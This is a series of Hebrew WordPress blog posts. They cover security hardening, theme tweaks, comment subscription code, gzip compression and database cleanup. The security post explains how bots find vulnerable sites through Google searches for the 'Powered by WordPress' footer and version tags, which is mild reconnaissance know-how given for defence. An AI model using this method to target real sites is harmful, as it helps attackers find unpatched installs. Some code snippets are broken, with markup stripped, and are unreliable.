מפתחי הערכות של וורדפרס נוהגים להכניס לפוטר של האתר את המשפט "Powered by WordPress" – זהו משפט די סטנדרטי שמופיע בתחתית של כמעט כל אתר וורדפרס באנגלית ורץ לרוב בגירסה זו או אחרת גם בעברית. חיפוש של המשפט הזה בגוגל כשהוא תחום בתוך מרכאות (חיפוש אחר צירוף מדוייק) ביחד עם מילות חיפוש רלוונטיות יניב רשימה ארוכה של קישורים לאתרים מבוססי וורדפרס המתעסקים בנושא הרצוי.
במקרה שלנו, התוכנה מקבלת רשימה של מילות מפתח ומריצה אותה אל מול גוגל כדי לקבל את אותן הרשימות.

שלב שני – בדיקה
עכשיו כשיש לנו את רשימת האתרים, צריך לראות מה אפשר לעשות איתם. מלבד הבדיקות הרגילות כגון בדיקות PR, זמן החיים של הדומיין ודומיהם, מציצה התוכנה אל מתחת למכסה המנוע – אל הקוד עצמו ומחפשת חתימות שהיא יודעת לזהות ומאפשרות "פריווילגיות מובחרות".
כך למשל, מופיעה בקוד התגית generator שמכילה את מספר הגירסה של וורדפרס. אם הגירסה שלכם אינה מעודכנת יופיע שם מספר הקטן מ 3.2.1. מלבד ההתקדמות הרגילה בגירסאות של וורדפרס (וזה ה 3.2) יש גם עדכוני "תיקונים" (זה ה 1 שבסוף). העידכונים הללו מכילים בד"כ תיקונים לפרצות אבטחה. זה אומר, שאם אינכם בגירסה האחרונה, קרוב לוודאי שיש לתוכנה הסורקת ידע על פירצות האבטחה של האתר שלכם והיא תוכל לנצל אותה לשימושה.

שלב שלישי – ניצול
המקרה הפחות קריטי הוא מתקפת של תגובות ספאם הממתינה לאישור, המקרה הגרוע יותר הוא הכנסה של קוד זדוני אל תוך האתר, דבר שיכול לגרום לכך שגוגל יקפיצו אזהרה בפני הגולשים בכל כניסה כי מדובר באתר נגוע שיכול להיות מסוכן למחשב שלהם.

אז מה עושים

סיסמא, סיסמא, סיסמא
השם של החתול שלכם זו לא סיסמא טובה, גם לא שם החברה בצירוף 123 בסוף. בחרו סיסמא קשה המכילה אותיות, מספרים וסימנים ולכל הפחות 8 תווים. אתם יכולים להשתמש באתר הזה כדי לייצר סיסמא חזקה.

מפתחות אבטחה של וורדפרס
בקובץ ה wp-config ישנם 8 מפתחות יחודיים המשמשים את וורדפרס לזיהוי ואימות הנתונים. רוב הזמן, אין כל צורך להחליף אותם שהרי הסיכוי שמישהו ינחש אותם (מבלי לקבל גישה אל הקובץ) הוא אפסי. אבל לפעמים, מתעורר החשד שיש מישהו שמציץ לכם למערכת.
אם לצורך הדוגמא התחברתם ממחשב ציבורי (ספריה, אינטרנט קפה וכ') ושכחתם לבצע התנתקות מהמערכת משתמש אחר יכול להיכנס לחשבונכם ולחטט בפנים. החלפה של המפתח LOGGED_IN_KEY למשל תפיל את עוגיית האימות שלו והוא לא יוכל להיכנס.

הישארו מעודכנים
ההודעה הזו לשדרג גירסה לוורדפרס או לתוספים – היא לא סתם, יש לה סיבה. נכון שזה לא תמיד נוח ואין כאב ראש גדול יותר מאשר להתחיל שידרוג בשעת לחץ ואז להיתקע מול שידרוג כושל, אבל זה תמיד יותר פשוט מהתאוששות מפריצה בדיעבד. שדרגו את הוורדפרס שלכם ושדרגו את התוספים שלכם.

היפטרו מקבצים לא נדרשים
פעמים רבות אנשים מתקינים על גבי וורדפרס עשרות ערכות ותוספים. במקרה הטוב, אותם אנשים טורחים לכבות תוספים שהם לא זקוקים להם, אבל כבר יצא לי לפגוש התקנות שבהם יותר מ 30 תוספים פעילים, רובם בעל כפילות כזו או אחרת. היות ותוספים נכתבים על ידי הקהילה ולא כולם כתובים בצורה אופטימלית, אתם עלולים לגלות שתוספים מסוימים עושים לכם צרות במערכת. פעמים רבות, אפילו לא תדעו במי מדובר ותאלצו לכבות אחד אחרי השני.
התקנתם תוסף? הוא לא עובד כפי שאתם מצפים ממנו? מחקו אותו, אין שום צורך שישב על השרת. אותו כנ"ל לגבי ערכות עיצוב – אם אין לכם צורך בהן, מיחקו אותן. למפתח מוכשר (וזדוני) אין שום בעיה להכניס קוד מתאים שייצר לו משתמש עם הרשאות ניהול אל תוך קבצי הערכה.

התקנה ממקורות בטוחים
הרבה פעמים אנחנו מחפשים תוסף שיבצע פעולה ספציפית ולא מוצאים אותו דרך הקודקס. הפיתרון הוא גוגל שלפעמים באמת יחזיר תוסף רלוונטי בתוצאות.
הבעיה היא, בדיוק כמו בסעיף הקודם, הסכנה לדלת אחורית. במילים אחרות – אם אינכם בטוחים במהימנות המקור, אל תתקינו את התוסף או הערכה.
אם יש לכם הבנה בקוד, הציצו על הקוד של התוסף, ישנם כמה דגלי אזהרה כשהנפוץ בהם הוא מחרוזת ארוכה כגון "tjbnEnZGtmdHQ6JWRrYgIFZnUlOTsoAUA5DQ4ODQ4". לרוב, ניתן למצוא את הטקסט הזה בתוך ערכות עיצוב, בקובץ ה footer.php זה משמש להכנסה של לינקים ממומנים אל תוך העמוד בצורה שתקשה על משתמש לא מנוסה להסירה. מלבד זאת, זה יכול לשמש גם כדי להכניס קוד זדוני ואם אתם רואים דבר כזה – מומלץ להתרחק.

הרשאות
וורדפרס מצוידת בעורך קוד המאפשר לעדכן את הקוד של התוספים והערכות שלכם. זה כמובן מצריך שלוורדפרס תהינה הרשאות כתיבה לקבצים. אם אתם מסוג האנשים שמעדכנים קוד דרך העורך הזה, הרי שאתם זקוקים לזה. אם אתם משתמשים ב ftp או ssh או לחילופין זהו אתר שבניתם עבור לקוח – אין שום סיבה שתהיה לוורדפרס הרשאות שכתוב לקבצים. ההרשאה של קבצים צריכה להיות 644. בכל מקרה, אם אתם מעוניינים לערוך את הקבצים דרך עורך הקוד, הקפידו על הרשאה 666 ולא 777. כנ"ל לגבי תיקיות – תיקיות צריכות להיות עם הרשאה 755.
הפירוש של 777 – כל משתמש שיש לו גישה לשרת יכול לשנות את הקובץ, כאשר השרת לא מקונפג נכון (כפי שכבר ראיתי בלא מעט מקרים) פורץ אקראי שמשיג גישה אל תיקיה כלשהי בשרת, אפילו של משתמש אחר, יכול לגשת אל הקבצים שלכם ולשנותם.

הסרת חותמות
כאמור, וורדפרס מוסיפה חותמת בשם generator המכילה את מספר הגירסה. זה לא משהו שמופיע בערכה עצמה אלא מתווסף אל הקוד באמצעות הפונקציה wp_head. חותמות נוספות שכדאי להסיר הן קישור ה RSD וה wlwmanifest. אפשר לעשות זאת בקלות על ידי הוספה של השורות הבאות אל קובץ functions.php של ערכת העיצוב. (אם אין לערכה קובץ כזה, אפשר ליצור אותו לבד בעזרת עורך טקסט)

remove_action( 'wp_head', 'wp_generator' );
remove_action( 'wp_head', 'rsd_link' );
remove_action( 'wp_head', 'wlwmanifest_link' );

הגבלת גישה אל האדמין
הטיפ הזה לא יעזור לרוב המשתמשים לצערי והוא רלוונטי בעיקר עבור אלו מאיתנו שיש להם כתובת IP קבועה ומשתמשים רק בה כדי לעדכן את הבלוג שלהם. מצד שני, אם אתם חברה שמעניקה שלל שירותים ללקוחותיה ובין היתר גם תחזוקת בלוג – הרי שהטיפ הזה יכול להיות שימושי.

כל שיש לעשות זה ליצור קובץ .htaccess חדש (הנקודה בתחילת השם ולא בסופו) ולהכניס לתוכו את השורות הבאות:

order deny,allow
deny from all
allow from XX.XX.XXX.XXX
allow from XX.XX.XXX.XXX

את XX.XX.XXX.XX יש להחליף כמובן בכתובת ה ip שלכם ואת הקובץ יש לשמור בתיקיית wp-admin. אומנם, לרוב המשתמשים הביתיים כתובת ה IP אינה כתובת קבועה אבל היות והאינטרנט מחובר בד"כ ללא הפסקה הרי שכתובת ה IP שלכם איתכם למשך הרבה זמן. אם לא אכפת לכם לעדכן פעם בזמן מה את הקובץ הרי שגם אתם יכולים להשתמש בתרגיל הזה. כמובן שזה לא כלי שימושי לאלו מאיתנו שמעדכנים מהדרכים, ממחשבים מזדמנים וכדומה.

אבטחו קבצים חשובים
הקובץ הכי חשוב והכי מסוכן בהתקנה של וורדפרס הוא ה wp-config. זהו קובץ שמכיל את כל המידע הנדרש כדי להתחבר אל מסד הנתונים שלכם.
הוספה של השורה הבאה אל קובץ ה htaccess תספק שכבת אבטחה נוספת עבור הקובץ הלז:

<Files wp-config.php>
order allow,deny
deny from all
</Files>

גיבויים
גבו את מסד הנתונים שלכם לפחות פעם בשבוע או על בסיס תדירות העדכונים (אין צורך בגיבוי שבועי עבור אתר המתעדכן פעם בשנה). אם ספק האיכסון שלכם תומך ב cron אתם יכולים להשתמש במדריך או להשתמש בתוסף יעודי. כמובן שרצוי לגבות גם את תיקיית wp-content.

לסיכום
בצבא אומרים שקו ההגנה לעולם יפרץ, וזה בד"כ נכון – אם יש לכם יריב עסקי שמעוניין להסיר את האתר שלכם מהאוויר הרי שהוא יוכל לעשות את זה בקלות. אבל עבור הבוט הבסיסי שמחפש פרצות אבטחה מוכרות – נקיטה בצעדים המוגדרים פה יגנו לרוב על האתר שלכם.

רעיונות וטיפים נוספים יתקבלו בברכה.

הפוסט הקשיחו את אבטחת הבלוג שלכם פורסם על ידי ~ניצן~ בבלוג המכללה

add_filter('the_author_posts_link', 'author_rel_link');
function author_rel_link($result){
	return str_replace('<a', '<a rel="author" ',  $result);
}

זו צורה טיפה מכוערת, והדרך הנכונה היא בטח ליצור אוביקט DOM בעזרת DOMElement של PHP. אם למשל יש לכם פונקציה אחרת שמוסיפה תגית rel עלולה להיווצר לכם כפילות.

זהו, עכשיו בכל מקום שבו יוצג השם שלכם בבלוג, בנוסף לקישור לעמוד האישי שלכם הוא גם יכיל את התגית rel=author. עכשיו, תקראו את הפוסט הזה על איך ליצור עמוד כותב בוורדפרס ואתם מסודרים

הפוסט הוספת rel=author בבלוג וורדפרס פורסם על ידי ~ניצן~ בבלוג המכללה

על מה מדובר.
צריך להפריד פה למעשה בין שינויים מינוריים לבין שינויים גדולים שמצריכים בניה מחודשת של שלד הדף. אם מבנה ה XHTML של העמוד החדש שונה משמעותית מהעיצוב הכללי ככל הנראה המאמר הזה לא יעזור לכם. אבל, אם מדובר בשינויים קטנים לאובייקטים כגון – תמונת הדר שונה, רוחב שונה של העמודות, גדלים שונים של פונטים וכ' מאמר זה יעזור לכם רבות.

הפיתרון הנפוץ:

עד היום נתקלתי בשתי דרכים נפוצות. הראשונה, משתמש בנה עמוד XHTML שלם, הכניס לתוכו את תגיות ה PHP הרלוונטיות, יצר קובץ CSS נפרד ושמר כתבנית עמוד חדשה. כשהמשתמש נזקק למבנה שונה, הוא בחר את המבנה החדש והשתמש בו.
כאמור, זו שיטה מצויינת כשיש לנו עמוד שנראה שונה לחלוטין מהנראות הכללית של האתר, רוב הסיכויים שזו גם הדרך הנוחה באמת לעשות את זה.
אופציה אחרת, הנפוצה בעיקר כשעושים שינויים מינוריים עושה שימוש ב is_page_template כאשר תוצאה חיובית לבדיקה טוענת קובץ CSS שונה מהקובץ הראשי.

הפיתרון הנכון

מאז וורדפרס 2.8 נוספה למערכת הפונקציה body_class שמדפיסה אל הקוד שורה של מחלקות רלוונטיות המיצגות את העמוד, המשתמש וכיוצ"ב.
שימוש:

<body <?php body_class($class); ?>> 

המשתנה class מחזיק מחרוזת או מערך עם מחלקות נוספות שאנחנו רוצים להוסיף (למשל, משתמשי YUI צריכים להכניס רשימת מחלקות משלהם).

התוצאה:

<body class="rtl single single-post postid-1981 single-format-standard chrome">

במקרה הספציפי, שלפתי את רשימת המחלקות מעמוד של פוסט. כפי שאפשר להבין מרשימת המחלקות מדובר בעמוד מיושר מימין לשמאל (rtl), זה עמוד של פוסט (single) שהמזהה שלו הו 1981 ( postid-1981). מידע נוסף שאפשר לקבל הוא שאני משתמש בדפדפן מסוג Chrome.

דוגמא אחרת:

<body class="home page page-id-26 page-template page-template-frontpage-php">

מה יש פה? אנחנו נמצאים בעמוד הבית (home) אבל עמוד הבית הוא בעצם עמוד ספציפי של וורדפרס (page-id-26) שמשתמש בתבנית עמוד (page-template). שם הקובץ של הטמפלט לצורך העיניין הוא frontpage.php (מתוך: page-template-frontpage-php).

אז מה אפשר לעשות עם זה.

נניח שאנחנו מעוניינים לשנות את ההגדרות הבאות מקובץ ה CSS שלנו:

body{font-size:12px;background:#ccc}
#header {background:url(images/header.png) no-repeat}
h1{font-size:1.4em; font-weight:bold;}

בשיטה הישנה, בדרך כלל היו יוצרים קובץ css חדש, וטוענים אותו בעזרת הבדיקה של is_page_template, אבל השימוש במחלקות המתווספות מקל עלינו את העבודה. לכן, ניצור תבנית עמוד חדשה, שלצורך הדוגמא תישמר כ test.php. לכן, כשאני אציג עמוד שמשתמש בדוגמת העמוד הזו תתוסף אל תגית ה body גם המחלקה page-template-test-php. עכשיו את כל ההתאמות ניתן לעשות בעזרת התיחסות לתגית הזו.
בכל מקום בו נוסיף body.page-template-test-php לפני הגדרות הכלל, אנחנו בעצם מציינים לדפדפן שיתיחס אל הכלל אך ורק במקרה שאנחנו נמצאים בעמוד המשתמש בתבנית הספציפית הזו.

body.page-template-test-php{font-size:14px;background:#c3c3c3}
body.page-template-test-php #header {background:url(images/big_header.png) no-repeat}
body.page-template-test-php h1{font-size:1.3em; font-weight:normal;}

זהו, התוספת של שלושת השורות הללו אל קובץ ה CSS תופעל אך ורק כשתיטען התבנית הרלוונטית והדפדפנים יתעלמו ממנה לחלוטין כאשר מדובר בעמודים אחרים.

מה עוד אפשר לעשות עם זה?

כפי שהראתי, התווספה מחלקה הנושאת את שם הדפדפן (chrome), התוספת הזו היא שינוי שהוכנס (למיטב ידיעתי) בגירסה 3.1 ומשמשת תחליף מצוין לפיתרון בעיות תאימות של דפדפנים.

כך אני יכול לכוון לשינויים המיועדים לכרום, לפיירפוקס (gecko) או אקספלורר (ie) או אפילו לאיפון (iphone).

#sidebar {width: 200px; padding:5px;}
#sidebar.ie{width:190px;padding:5px;}

הפוסט כך תעניק עיצוב שונה לעמוד ספציפי בוורדפרס פורסם על ידי ~ניצן~ בבלוג המכללה

הרשמה לעידכונים על תגובות חדשות אפשר להשיג בהתקנה עצמאית בעזרת תוסף כמו Subscribe To Comments , אבל נכון להיום אין דרך לבצע רישום לעדכונים בבלוג ישירות דרך התגובות.
שני התוספים הנפוצים ביותר להרשמה לעדכונים בבלוג הם post-notification ו Subscribe2 המאפשרים להרשם לעידכונים דרך עמוד יעודי או אפילו וויג'ט בבר הצדדי. הפיתרון הכי טבעי לדעתי היה להתממשק עם לפחות אחד מהתוספים הללו ולאפשר הרשמה בצורה הזו.

אחרי שהורדתי ועיינתי קצת בקוד של פוסט-נוטויפיקישנז קיבלתי חום, התוסף בנוי מעשרות קבצי PHP, כל אחד לאזור אחר באתר, הוא לא משתמש בפונקציות אחידות ובקיצור – מבחינת תחזוקת קוד או התממשקות לקוד הוא פשוט נוראי. חיפשתי בכל מאודי פונקציה כמו addNewReader שתקבל כתובת דוא"ל בתור פרמטר, תעביר אותו וואלידציה, תבדוק אם הוא לא קיים במסד הנתונים ואם כן תוסיף אותו – לצערי אין ולכן התוסף הזה לא מתאים (לצרכי לפחות)
התוסף השני (סבסקרייב2) בנוי הרבה יותר טוב לעומת זאת, ראשית – כל הקוד מרוכז בתוך קובץ אחד, שנית, מי שפיתח אותו בנה אותו כאובייקט (class) ולא כאסופת פונקציות. כלומר, במקום לפתח פונקציה שתתקשר עם האובייקט, כל שעלינו לעשות הוא לטעון אותו אל הזיכרון ולפנות לפונצקיית הוספת המשתמשים שלו.
בשלב הראשון, נבנה את קוד ה HTML שמוסיף את השורה בסוף הטוקבקים ונקשור אותו לאירוע טופס תגובות.

add_action('comment_form', 'show_registration_checkbox');
function show_registration_checkbox(){?>
	

	
	< ?php _e('Subscribe by email to this site','yourthemetextdomain');?>
	
< ?}

כל מה שהקוד הזה עושה למעשה הוא להוסיף בתחתית טופס התגובות את הצ'קבוקס הנכסף. שימו לב לעדכן את yourthemetextdomain עם השם המתאים לתרגום של הערכה שלכם, אחרת הטקסט לא יתורגם.
השלב הבא, יהיה להאזין לאירוע של שליחת תגובה בעזרת קישור לאירוע comment_post

add_action('comment_post', 'toto');
function toto()
{
	global $mysubscribe2;
	if($_POST['register'] == 'register')
		$mysubscribe2->add( $_POST['email']);
}

mysubscribe2 הוא האובייקט שמיוצר על ידי subscribe2, כאמור מדובר באובייקט ולא אסופת פונקציות ולכן אנחנו יכולים להשתמש בפונקציה add של האובייקט. כל מה שעלינו להעביר אליה זה פרמטר ה email והתוסף כבר ידאג לכל תהליך ההרשמה כפי שהוא מוגדר בהגדרות התוסף (אם צריך אישור, מיילים מותאמים אישית וכ')

הפוסט הרשמה לעדכונים מתוך תגובות בבלוג וורדפרס פורסם על ידי ~ניצן~ בבלוג המכללה

ב PHP אחד הפיתרונות מגיע בדמותו של אובייקט הבאפר הנוצר ע"י פקודת ה ob_start. את אובייקט הבאפר אפשר לדחוס כ Gzip בעזרת הפקודה ob_gzhandler.

וככה זה עובד:

 if (substr_count($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip')) 
ob_start("ob_gzhandler"); 
else ob_start();

את קטע הקוד הלז יש לשלב בראש מסמך ה HTML, עוד לפני שורת ה DOCTYPE. אם השרת שלכם תומך בדחיסת gzip יווצר קובץ באפר, אשר ידחס ע"י השרת וישלח לגולש.
המשמעות – זמן טעינה קצר יותר, הורדה של נפח התעבורה.

הפוסט דחיסת עמודים בשרתי לינוקס פורסם על ידי ~ניצן~ בבלוג המכללה

ולכן, למרות שבפועל לא מדובר פה בפעולות מסובכות אני חוזר, מזהיר ומתרה – אם אתם לא יודעים להתעסק עם מסד נתונים, אם אין לכם מושג מה התוצאות של הפעולות שלכם יכולות לעשות ואם אין לכם גיבוי – פשוט תתעלמו מהפוסט הזה או שתפנו אל מי מאיתנו שמתעסק בזה כמקצוע (בשליפה מהמותן, חוץ מעצמי אני יכול לחשוב על חנית ועל רויטל, אבל תמיד אפשר להתיעץ בקבוצה הגוגלית).

ולעניין – אופטימיזציה לוורדפרס.

ככלל, אחד היתרונות בקוד פתוח הוא שהרבה עיניים עוברות על הקוד ולכל אחד מומחיות משלו. אני מניח שבמשך השנים בהן וורדפרס מפותחת עברו על הקוד גם אי אלו מומחי DB שניסו לעשות את האופטימיזציה האידיאלית לשאילתות. אני מניח שיש שאילתות שעדיין ניתן לשפר, שלא לדבר על כך שאני משוכנע שיש שאילתות מרוכבות שניתן להחליף ב view תואם ועדיין אנחנו לא הולכים לטפל בקוד של וורדפרס, רק לנקות קצת את כל הג'אנק שהצטבר בטבלאות.

החל מ 2.5 הוסיפו בוורדפרס את האפשרות ל Revision – גירסאות קודמות של המסמך. השינוי הזה נועד לאפשר לעורך לחזור אחורה ולהשוות את הניסוח הנוכחי אל מול הקודם. זה כמובן גם מאוד עוזר כשיש גיבוי אם בטעות מחקתם פיסקה או שתיים (או את כל העמוד) ואתם לא רוצים להתחיל לכתוב הכל מהתחלה.
אבל מה לגבי פוסטים שכבר פורסמו? וורדפרס שומרת את הגירסאות הקודמות גם עבור פוסטים שהסטטוס שלהם הוא פורסם – פעולה שמגדילה את נפח מסד הנתונים ולכן מאיטה מעט את עבודתו. בבלוגים קטנים עם כמות קטנה של פוסטים חודשיים (מרכין ראשי בבושה) העסק פחות רלוונטי, אבל בלוגים גדולים יותר כגון חורים ברשת / חדר 404 / הגלוב בוודאי סובלים קשה יותר מהבעיה הזו. הפיתרון הוא פשוט – למחוק את כל הגירסאות הקודמות של פוסטים שכבר פורסמו. דרך phpMyAdmin (או כל מערכת ניהול DB שאתם עובדים איתה) מריצים את השאילתה הבאה. חשוב לוודא שמסד הנתונים שנבחר הוא של וורדפרס וכמובן שהתחילית שהגדרתם לטבלאות היא wp (אם לא צריך להתאים את wp_posts).

DELETE FROM `wp_posts` WHERE `post_type` = ‘revision’

אגב, אם אינכם משתמשים בגירסאות קודמות, עדיף לכבות את הפונקציה הזו. הוסיפו בקובץ ה wp_config,php את השורה הבאה:

define('WP_POST_REVISIONS', false);

אופטימיזציה של מסד הנתונים

אחרי שבוחרים מסד נתונים לעבודה ב PhpMyAdmin (בעמודה השמאלית) נפתחת רשימת הטבלאות הקיימות. בתחתית הרשימה ישנו לינק "select all” ולחיצה עליו תבחר את כל הטבלאות. משמאלו, בתפריט הנגלל, נבחר בשיא הזהירות ב optimize table – ומכאן שאר העבודה היא של mysql. מתחת למנוע MySql מוחק את טבלאות האינדקס שהוא שומר עבור כל טבלה ובונה אותן מחדש בצורה אופטימלית.

שמירת שאילתות

הסעיף הזה קרוב לוודאי לא נוגע ברובנו, הוא מיועד למי שיש לו גישה לקבצי ההגדרות של mysql משהו שקרוב לוודאי שבחיים לא יהיה לכם בשרת שיתופי. אבל אם יש לכם איכסון יעודי / שרת ביתיי / כל פיתרון אחר – אפשר להשתמש במנגנון הקאשינג של MySql על מנת לשמור את התוצאות של שאילתות חוזרות ונשנות. כך למשל, במקום להריץ בכל פעם את השאילתה שמבקשת את הפוסטים לעמוד הראשי ניתן לשלוף את כל המידע הזה במכה ממסד הנתונים.

בשביל זה צריך לערוך את קובץ my.conf (באובונטו הוא ב etc/mysql/my.conf/ ) ולהוסיף אליו את השורות הבאות:

query_cache_type = 1
query_cache_limit = 1M
query_cache_size = 32M

כך בעצם אנחנו יוצרים מאגר זיכרון בנפח של 32 מגה המשמש לקאשינג של השאילתות. כאמור, זה יותר רלוונטי למי שיש לו שרת פרטי, אבל יעזור עד מאוד.

הפוסט אופטימיזציה של מסד הנתונים פורסם על ידי ~ניצן~ בבלוג המכללה